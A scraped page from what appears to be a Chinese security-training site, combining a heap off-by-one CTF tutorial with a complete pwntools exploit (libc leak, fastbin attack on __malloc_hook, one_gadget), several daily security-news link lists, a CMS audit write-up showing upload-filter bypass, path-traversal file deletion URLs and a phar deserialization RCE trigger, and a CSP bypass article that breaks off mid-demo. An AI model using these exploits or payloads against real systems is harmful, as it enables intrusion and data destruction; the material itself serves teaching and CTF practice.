快速入门堆溢出技巧(OFF BY ONE)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> OFF BY ONE 所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节 并且堆块的fd(前驱指针)以及bk(后继指针)都会指向 main_arena+88的地址这也是我们泄露出来的地址 利用gdb 输入libc查看基地址,main_arena+88-libc=offset 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de (本实验主要介绍了缓冲区溢出基础与实例,通过本实验的学习,了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法) UNSORTERBIN&FASTBINS 在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。 例题讲解 本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到 思路概述 我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块 其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的 编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击 接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可 First step 常规操作checksec 保护全开64位,倒也正常。接着拉进ida慢慢分析 q@ubuntu:~$ checksec vn [*] '/home/q/vn'   Arch:     amd64-64-little   RELRO:   Full RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled 如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数 void __fastcall main(__int64 a1, char **a2, char **a3) { sub_A39(a1, a2, a3); puts("Welcome to V&N challange!"); puts("This's a simple heap for you."); while ( 1 ) {   menu();   switch ( (unsigned int)sub_9EA() )   {     case 1u:       add();       break;     case 2u:       edit();       break;     case 3u:       show();       break;     case 4u:       del();       break;     case 5u:       exit(0);     default:       puts("Please input current choice.");       break;   } } } 如下get_input_content里面有个off by one 的漏洞 unsigned __int64 __fastcall sub_C39(__int64 a1, int a2) { unsigned __int64 result; // rax unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; ; ++i ) {   result = i;   if ( (int)i > a2 )     break;   if ( !read(0, (void *)((int)i + a1), 1uLL) )     exit(0);   if ( *(_BYTE *)((int)i + a1) == 10 )   {     result = (int)i + a1;     *(_BYTE *)result = 0;     return result;   } } return result; } Second step 在第一步我们对程序的漏洞点寻找完毕 现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数 from pwn import * context(log_level='debug') r=process('./vn') #elf=ELF('./vn') #r=remote('node3.buuoj.cn',28465) libc=ELF('16.so') def add(size,content):       r.recvuntil("choice: ")       r.sendline("1")       r.sendlineafter("size?",str(size))       r.sendlineafter("content:",content) def edit(idx,content):       r.recvuntil("choice: ")       r.sendline("2")       r.sendlineafter("idx?",str(idx))       r.sendlineafter("content:",content) def dump(idx):       r.recvuntil("choice: ")       r.sendline("3")       r.sendlineafter("idx?",str(idx)) def free(idx):       r.recvuntil("choice: ")       r.sendline("4")       r.sendlineafter("idx?",str(idx)) 如思路概述所讲到我们需要创建4个堆 我们创建好的堆结构如下 在gdb中正常的堆结构如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x556b208da000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x556b208da020 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x556b208da090 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x556b208da100 Size: 0x21 Top chunk | PREV_INUSE Addr: 0x556b208da120 Size: 0x20ee1 接下来我们开始利用off by one去对其创建fake chunk add(0x18,b'a')#0 add(0x68,b'a')#1 add(0x68,b'a')#2 add(0x18,b'a')#3 阻断top chunk edit(0,b'a'*0x18+b'\xe1') free(1) gdb.attach(r) gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5650f994f000 Size: 0x21 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5650f994f020 Size: 0xe1 fd: 0x7fc2f9aebb78 bk: 0x7fc2f9aebb78 Allocated chunk Addr: 0x5650f994f100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x5650f994f120 Size: 0x20ee1 Third step 有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc 在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk 其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址 main_arena+88-libc=offset=0x3c4b78 在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢? 这里就要继续提到 分割unsortedbin 我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下 一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x559615971000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x559615971020 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x559615971090 Size: 0x71 fd: 0x7f0437e11b78 bk: 0x7f0437e11b78 Allocated chunk Addr: 0x559615971100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x559615971120 Size: 0x20ee1 因此我们可以得的泄露脚本如下 add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露 main_arena dump(2) leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) gdb.attach(r) libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000 realloc_addr=libc_base+libc.sym['__libc_realloc'] malloc_hook=libc_base+libc.sym['__malloc_hook'] fake_chunk_addr=malloc_hook-0x23 one_gadget=libc_base+0x4526a print(hex(realloc_addr)) print(hex(fake_chunk_addr)) PS: 这里可以说下为什么fake_chunk_addr=malloc_hook-0x23 这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的 如下0x7f78812fbaed就是fake chunk的地址处于fastbins 并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty Last step 我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload 在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload 从第三步完结的时候堆排布如下 此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来 此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555d4046b000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x555d4046b020 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x555d4046b090 Size: 0x71 fd: 0x7ff34264eb78 bk: 0x7ff34264eb78 Allocated chunk Addr: 0x555d4046b100 Size: 0x20 Top chunk | PREV_INUSE Addr: 0x555d4046b120 Size: 0x20ee1 接下来我们再去free掉一个0x68大小的chunk 对留下来的0x68大小的chunk内容填充为fake chunk的地址 接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk 也许语言看蒙了人,我就用图表示 图1如下是free掉后再去填充的样子 图2如下是我们把被free的chunk申请回来后的样子 此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了 add(0x68,b'a'*0x08)# 4与2同时指向0x70 free(4) edit(2,p64(fake_chunk_addr)) add(0x68,b'a'*0x08)#4 payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12) add(0x68,payload)#5 r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(0x18)) print(hex(libc.sym['__malloc_hook'])) r.interactive() PS: 关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8) 关于realloc_hook压栈到底要加多少 我们可以打开gdb输入 x/32i __libc_realloc pwndbg> x/32i __libc_realloc   0x7ff34230e710 <__GI___libc_realloc>: push   r15   0x7ff34230e712 <__GI___libc_realloc+2>: push   r14   0x7ff34230e714 <__GI___libc_realloc+4>: push   r13   0x7ff34230e716 <__GI___libc_realloc+6>: push   r12   0x7ff34230e718 <__GI___libc_realloc+8>: mov   r12,rsi   0x7ff34230e71b <__GI___libc_realloc+11>: push   rbp   0x7ff34230e71c <__GI___libc_realloc+12>: push   rbx 把里面的数字一个个代入试试看。 最后的完整exp如下 EXP: 需要的libc从buuctf里面下载 from pwn import * context(log_level='debug') #r=process('./vn') #elf=ELF('./vn') r=remote('node3.buuoj.cn',28640) libc=ELF('64.so') def add(size,content):        r.recvuntil("choice: ")        r.sendline("1")        r.sendlineafter("size?",str(size))        r.sendlineafter("content:",content) def edit(idx,content):        r.recvuntil("choice: ")        r.sendline("2")        r.sendlineafter("idx?",str(idx))        r.sendlineafter("content:",content) def dump(idx):        r.recvuntil("choice: ")        r.sendline("3")        r.sendlineafter("idx?",str(idx)) def free(idx):        r.recvuntil("choice: ")        r.sendline("4")        r.sendlineafter("idx?",str(idx)) #gdb.attach(r) add(0x18,b'a')#0 add(0x68,b'a')#1 add(0x68,b'a')#2 add(0x18,b'a')#3 阻断top chunk edit(0,b'a'*0x18+b'\xe1') free(1) add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena dump(2) leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000 realloc_addr=libc_base+libc.sym['__libc_realloc'] malloc_hook=libc_base+libc.sym['__malloc_hook'] fake_chunk_addr=malloc_hook-0x23 one_gadget=libc_base+0x4526a print(hex(realloc_addr)) print(hex(fake_chunk_addr)) add(0x68,b'a'*0x08)# 4与2同时指向0x70 free(4) edit(2,p64(fake_chunk_addr)) add(0x68,b'a'*0x08)#4 payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12) add(0x68,payload)#5 r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(0x18)) print(hex(libc.sym['__malloc_hook'])) r.interactive() 结果如下
网络安全日报 2021年05月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、TsuNAME漏洞使DNS服务器遭DDoS攻击 https://securityaffairs.co/wordpress/117687/hacking/tsuname-dns-servers-ddos.html2、网络攻击导致美国Colonial Pipeline设施被关闭 https://securityaffairs.co/wordpress/117680/hacking/colonial-pipeline-facility-cyberattack.html3、微软提醒机构警惕大规模BEC活动 https://securityaffairs.co/wordpress/117672/cyber-crime/bec-gift-card-scam.html4、研究人员发现超2.9W个不受保护的数据库19 PB数据可公开访问 https://securityaffairs.co/wordpress/117660/data-breach/data-exposed-unprotected-databases.html5、美国发出关于俄罗斯黑客组织攻击的预警 https://www.zdnet.com/article/cybersecurity-warning-russian-hackers-are-targeting-these-vulnerabilities-so-patch-now/6、医疗服务提供商CaptureRx遭勒索软件攻击 https://heimdalsecurity.com/blog/healthcare-provider-clients-affected-by-capturerx-ransomware-attack/7、Remote Mouse应用程序被发现6个0day漏洞 https://thehackernews.com/2021/05/6-unpatched-flaws-disclosed-in-remote.html8、2019以来勒索软件团伙已泄露2103家公司的数据 https://bleepingcomputer.com/news/security/ransomware-gangs-have-leaked-the-stolen-data-of-2-100-companies-so-far9、谷歌宣布了一系列旨在保护用户隐私的更改 https://thehackernews.com/2021/05/4-major-privacy-and-security-updates.html10、美国法院授权IRS查询加密货币纳税人的身份 https://www.zdnet.com/article/irs-secures-order-to-serve-kraken-with-customer-data-request-on-cryptocurrency-traders/
网络安全日报 2021年05月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、古巴勒索软件帮派与Hancitor恶意软件联合 https://securityaffairs.co/wordpress/117638/cyber-crime/cuba-ransomware-hancitor.html2、专家发现针对Windows的新型恶意软件Moriya rootkit https://securityaffairs.co/wordpress/117626/malware/moriya-rootkit-operation-tunnelsnake.html3、高通漏洞影响全球约30%的智能手机 https://securityaffairs.co/wordpress/117620/security/qualcomm-bus-cve-2020-11292.html4、思科修复了SD-WAN 和HyperFlex HX软件中的严重漏洞 https://securityaffairs.co/wordpress/117560/security/cisco-sd-wan-vmanage-hyperflex-hx-flaws.html5、研究人员在HPE Edgeline中发现了严重身份绕过漏洞 https://securityaffairs.co/wordpress/117513/security/hpe-edgeline-infrastructure-manager-flaw.html6、安全研究人员披露影响DNS的高危漏洞TsuNAME https://thehackernews.com/2021/05/new-tsuname-flaw-could-let-attackers.html7、英特尔和AMD CPU的新幽灵漏洞影响数十亿台计算机 https://thehackernews.com/2021/05/new-spectre-flaws-in-intel-and-amd-cpus.html8、Google将自动为某些帐户启用两步验证 https://www.securityweek.com/attackers-use-obscurity-enterprises-should-too9、红帽开源StackRox安全技术 https://www.securityweek.com/red-hat-open-sourcing-stackrox-security-technology10、美国国防部扩展了其漏洞赏金计划的范围 https://www.zdnet.com/article/dod-expands-its-bug-hunting-programme-to-networks-iot-and-more/
记某cms审计过程(新手入门篇)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 前言 今天放假闲着无事就找了个cms来挖挖漏洞,挖到的漏洞比较简单,适合新手入门,所以本篇文章就记录一下这几个漏洞的审计过程,以及如何从新手的角度去挖到cms一些常见的漏洞,如果是大佬就可以绕道了。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167  (通过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。) 前置工作 寻找cms及搭建 一般来说我们可以到谷歌百度等引擎找到cms的官网下载源码,或者码云,然后在本地用phpstudy搭建起来环境 我们在这里下载cms的源码,下载之后怎么在本地搭建呢 我们打开phpstudy-》其他选项菜单-》站点域名管理里 把网站目录填写你下载源码的路径就好了,然后进hosts添加域名 然后不出意外就可以访问了 配置debug 在白盒代码审计的时候你可能会需要到断点调试,这个时候就需要用到xdebug,这里我个人用的是vscode编辑器,当然你用phpstorm也是可以的,配置过程如下 首先在vscode的应用商店下载php debug插件 在php.ini添加 [XDebug] xdebug.profiler_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" xdebug.trace_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" zend_extension="D:\phpStudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug.dll" xdebug.remote_enable = on xdebug.remote_autostart = on 在文件-》首选项-》设置-》用户-》扩展-》settings.json {   "php.validate.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",   "editor.mouseWheelZoom": true,   "php.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",   "workbench.editorAssociations": [       {           "viewType": "jupyter.notebook.ipynb",           "filenamePattern": "*.ipynb"       }   ],   "explorer.confirmDelete": false } launch.json添加 {   "version": "0.2.0",   "configurations": [   {       "name": "Listen for Xdebug",       "type": "php",       "request": "launch",       "port": 9000   },   ] } 上面一些路径自行更改一下,然后我们新建一个1.php打个断点,然后访问http://127.0.0.1/1.php,如果出现如下,就说明xdebug环境就成功搭建了 文件上传漏洞 通常来说,漏洞等级评级高的就是可以rce的高危漏洞,而想要rce最常见的就是文件上传 找文件上传漏洞的话,有两种思路,分别为黑盒和白盒,对新手来说代码功底不强的话,黑盒应该是会比较简单的,这里分别从两个不同的角度来寻找漏洞 黑盒思路 一般来说网站的后台很多地方都是可以文件上传的,我们进入后台之后可以寻找诸如文章发布处,修改头像处,附件,插件管理等地方,特别是像在文章发布处有这种富文本编辑器的地方往往会有上传图片和上传附件的功能 我们拿刚刚搭建好的cms,进入后台之后在发布文章处找到有可以上传图片的地方 我们随便上传一个1.php,发现提示上传图片发生错误,应该是被过滤了 但不确定是不是前端过滤还是后端过滤,我们先上传1.jpg,抓包改一下 发现上传成功,原来只是前端过滤,芜湖这不起飞,我们再访问一下我们上传的文件 发现已经成功getshell 这里的过滤比较简单,新手可以学一下各种绕过的技巧:https://xz.aliyun.com/t/6692 那么除了发布文章处,我们还可以在上传图片这些地方入手 我们在微信小程序这里的基本设置处看到有个首页分享封面 和上面一样,只是前端做了过滤,我们抓包改文件即可 但是这里的话只是提示上传成功,没有回显出来文件的名字,我们可以在本地文件处看看到底上传了什么东西 发现上传了wx_share_cover.php,这个文件的名字是固定的,于是我们访问试试看 发现也已经成功getshell 白盒思路 对于初学者而言,找漏洞不能只看黑盒,也要基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞 我们知道php文件上传的函数是move_uploaded_file(),或者一般来说上传的方法名是有upload关键字的,我们可以全局搜索他们定位到上传功能的代码里面 我们找到相应的代码块如下 可以看到validate的check就是这里的过滤,我们用上面的方法绕过即可,如果想清楚的跟踪进这个函数就可以在这里打个断点,然后分析 当然白盒寻找rce漏洞,我们还可以找找file_put_content等可以直接写文件的函数 任意文件删除 通常我们找文件删除漏洞的话,可以全局搜索unlink函数 第一处 这里的代码功能比较简单,正如注释所说的删除目录下面的所有文件,但不删除目录 我们可以看到$directory是我们可控的,而且没用做任何的过滤,说不定就可以穿越目录从而任意删除文件了,我们先手动加一个var_dump(scandir("."));来观察一下这里所处的位置 可以看到现在是在public的目录下,那我们就在上一层目录随便新建一个目录,里面随便新建几个文件试试看 我们输入 http://www.test123.com/system/dir/del?directory=../123 可以发现txt文件都被删除了,但是文件夹没有被删除 因为这个功能不能删除目录,只能删除目录的文件,如果我们还想删412315里面的文件就可以输入 http://www.test123.com/system/dir/del?directory=../123/412315 第二处 这里和第一处差不多,但是功能有点不一样,这里是可以把整个目录删除了,我们输入如下就可以删除整个123目录了 http://www.test123.com/system/dir/delDir?directory=../123 反序列化漏洞 既然前面已经挖到了文件上传漏洞,这个cms又是thinkphp6.0的版本,我们可以再找一下有没有可以触发phar函数的漏洞 第一处 突然看到我们前面的任意文件删除漏洞处,不正是有个is_dir函数吗,而且又是可以控制的,真是踏破铁鞋无觅处得来全不费功夫 我们先用网上公开的反序列化链生成test.jpg,然后利用上面的任意文件删除漏洞上传,上传到这个位置 {"code":1,"msg":"上传成功","url":["http:\/\/www.test123.com\/uploads\/postImages\/20210404\\3c5ea1104433e1cb734be47ab8377a11.jpg"]} 我们再用phar协议去触发这个文件即可rce http://www.test123.com/system/dir/del?directory=phar://uploads/postImages/20210404/3c5ea1104433e1cb734be47ab8377a11.jpg 第n处 除了上面那个任意文件删除处的is_dir,我们可以再找找还有没有其他地方能够触发的,随手一找又发现两处 这还只是单单用is_dir函数,没算上其他的就已经那么多了,这个 cms 真是"漏洞百出" 本文的漏洞已提交至 cnvd 平台,作为新手找一些少人用的 cms 挖上面几种漏洞还是比较容易的 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年05月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、大规模DDoS导致比利时政府网站瘫痪 https://securityaffairs.co/wordpress/117529/hacking/belgiums-ddos-attack.html2、大多数Exim电子邮件服务器存在21Nails漏洞可被攻击 https://securityaffairs.co/wordpress/117522/security/exim-email-servers-21nails-flaws.html3、数亿台戴尔PC受驱动程序漏洞CVE-2021-21551影响 https://securityaffairs.co/wordpress/117514/security/cve-2021-21551-dell-flaws.html4、苹果修复了WebKit浏览器引擎中的三个零日漏洞 https://securityaffairs.co/wordpress/117500/security/apple-webkit-zero-day-flaws.html5、专家发布了针对Microsoft Exchange 高危漏洞的PoC https://securityaffairs.co/wordpress/117493/hacking/microsoft-exchange.html6、Pulse Secure已修复SSL VPN设备中的零日漏洞 https://securityaffairs.co/wordpress/117484/hacking/pulse-connect-secure-zeroday.html7、新的攻击方式可以破坏目前所有针对Spectre攻击的防御措施 https://threatpost.com/attacks-slaughter-spectre-defenses/165809/8、FiveHands勒索软件中利用SonicWall零日漏洞 https://thehackernews.com/2021/04/hackers-exploit-sonicwall-zero-day-bug.html9、累计超过1亿安装的40个应用程序发现AWS密钥泄漏 https://thehackernews.com/2021/05/over-40-apps-with-more-than-100-million.html10、卫生保健巨头Scripps Health遭勒索软件攻击 https://www.bleepingcomputer.com/news/security/health-care-giant-scripps-health-hit-by-ransomware-attack/
网络安全日报 2021年05月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、TBONE(Tesla 的一些安全漏洞)细节公开 https://kunnamon.io/tbone/2、ATT&CK 发布了 v9 更新 https://medium.com/mitre-attack/attack-april-2021-release-39accaf23c813、AgeLocker勒索软件针对QNAP NAS设备 https://securityaffairs.co/wordpress/117424/malware/qnap-agelocker-ransomware.html4、BIND软件中的缺陷使DNS服务器容易受到攻击 https://securityaffairs.co/wordpress/117414/security/bind-dns-servers-flaws.html5、Babuk团队宣布将停止勒索软件攻击 https://securityaffairs.co/wordpress/117407/cyber-crime/babuk-stops-ransomware-attacks.html6、UNC2447在SonicWall零日漏洞修复之前就利用了该漏洞 https://securityaffairs.co/wordpress/117387/malware/unc2447-sonicwall-zero-day.html7、网络安全社区对GitHub有关漏洞利用相关政策更新不满意 https://www.securityweek.com/cybersecurity-community-unhappy-githubs-proposed-policy-updates8、微软警告OT、物联网设备中的BadAlloc漏洞 https://securityaffairs.co/wordpress/117372/iot/badalloc-vulnerabilities-ot-iot.html9、SolarMarket RAT使用Google SEO策略引诱受害者 https://cyware.com/news/solarmarket-rat-uses-google-seo-tactics-to-lure-victims-46b85a6410、Water Pamola通过恶意订单攻击在线商店 https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html
网络安全日报 2021年04月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、安全研究人员发现IoT和OT设备中的多个高危安全漏洞 https://www.securityweek.com/badalloc-microsoft-flags-major-security-holes-ot-iot-devices 2、DigitalOcean通知客户某些账单信息遭泄露 https://www.securityweek.com/digitalocean-discloses-breach-involving-billing-information 3、苹果修复了影响M1芯片Mac的安全绕过漏洞 https://www.securityweek.com/apple-patches-security-bypass-vulnerability-impacting-macs-m1-chip 4、Cisco修复了影响其防火墙产品的多个高危漏洞 https://www.securityweek.com/several-high-severity-vulnerabilities-expose-cisco-firewalls-remote-attacks 5、PHP Composer修复了可导致供应链攻击的高危命令注入漏洞 https://securityaffairs.co/wordpress/117366/security/php-composer-flaw.html 6、意大利最大的合作信贷银行之一BCC遭勒索软件攻击 https://securityaffairs.co/wordpress/117360/cyber-crime/banca-di-credito-cooperativo-darkside-ransomware.html 7、卡巴斯基发现与CIA关联的新型恶意软件Purple Lambert https://securityaffairs.co/wordpress/117340/apt/purple-lambert-cia-arsenal.html 8、360 Netlab发现了隐藏3年名为RotaJakiro 的Linux后门 https://securityaffairs.co/wordpress/117332/breaking-news/rotajakiro-linux-backdoor.html 9、Experian API泄露了大多数美国人的信用评分 https://threatpost.com/experian-api-leaks-american-credit-scores/165731/ 10、流行的OGUsers黑客论坛再次遭到黑客入侵 https://www.bleepingcomputer.com/news/security/fourth-times-a-charm-ogusers-hacking-forum-hacked-again/
网络安全日报 2021年04月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google在Chrome中修补了一个严重的V8漏洞 https://www.securityweek.com/google-patches-yet-another-serious-v8-vulnerability-chrome2、英国铁路网络Merseyrail遭勒索软件攻击 https://securityaffairs.co/wordpress/117312/malware/merseyrail-lockbit-ransomware.html3、研究发现云配置错误是云安全的主要风险 https://securityaffairs.co/wordpress/117305/security/cloud-misconfiguration-risks.html4、CISA和NIST联合发布有关供应链攻击的咨询报告 https://securityaffairs.co/wordpress/117286/hacking/cisa-nist-supply-chain-attacks.html5、RedLine Stealer恶意软件伪装成电报安装程序 https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer6、DARPA展示了将零知识证明用于软件漏洞披露过程 https://www.scmagazine.com/home/security-news/vulnerabilities/darpa-is-creating-zero-knowledge-proofs-for-vulnerability-disclosure/7、新的WickrMe勒索软件针对SharePoint服务器以渗透企业网络 https://therecord.media/ransomware-gang-targets-microsoft-sharepoint-servers/8、F5 BIG-IP被发现容易受到Kerberos KDC欺骗漏洞的攻击 https://thehackernews.com/2021/04/f5-big-ip-found-vulnerable-to-kerberos.html9、FluBot Android银行恶意软件在欧洲迅速蔓延 https://thehackernews.com/2021/04/attention-flubot-android-banking.html10、安全团队在Linux内核发现信息泄露漏洞 https://blog.talosintelligence.com/2021/04/vuln-spotlight-linux-kernel.html
CSP浅析与绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110316534000001  (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。) 什么是CSP CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以 CSP如何工作 通过响应包头(Response Header)实现: Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; 通过HTML 元标签实现: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> CSP指令 我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明: script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 dedault-src:默认配置 frame-ancestors:限制嵌入框架的网页 base-uri:限制<base#href> form-action:限制<form#action> block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启) upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议 plugin-types:限制可以使用的插件格式 sandbox:浏览器行为的限制,比如不能有弹出窗口等。 除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。 Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; CSP指令值 介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源 *: 星号表示允许任何URL资源,没有限制; self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载; data:仅允许数据模式(如Base64编码的图片)方式加载资源; none:不允许任何资源被加载; unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用; nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次; 下面通过具体的例子来看看CSP指令和指令值的用法: <img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源; <script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源; <script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源; CSP绕过 CSP从诞生时起即有安全研究人员所探索,本文总结部分方法 在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 https://csp-evaluator.withgoogle.com/检测一波,有奇效(手动滑稽) location.href绕过 href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。 CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法 demo <?php if (!isset($_COOKIE['a'])) { setcookie('a',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> 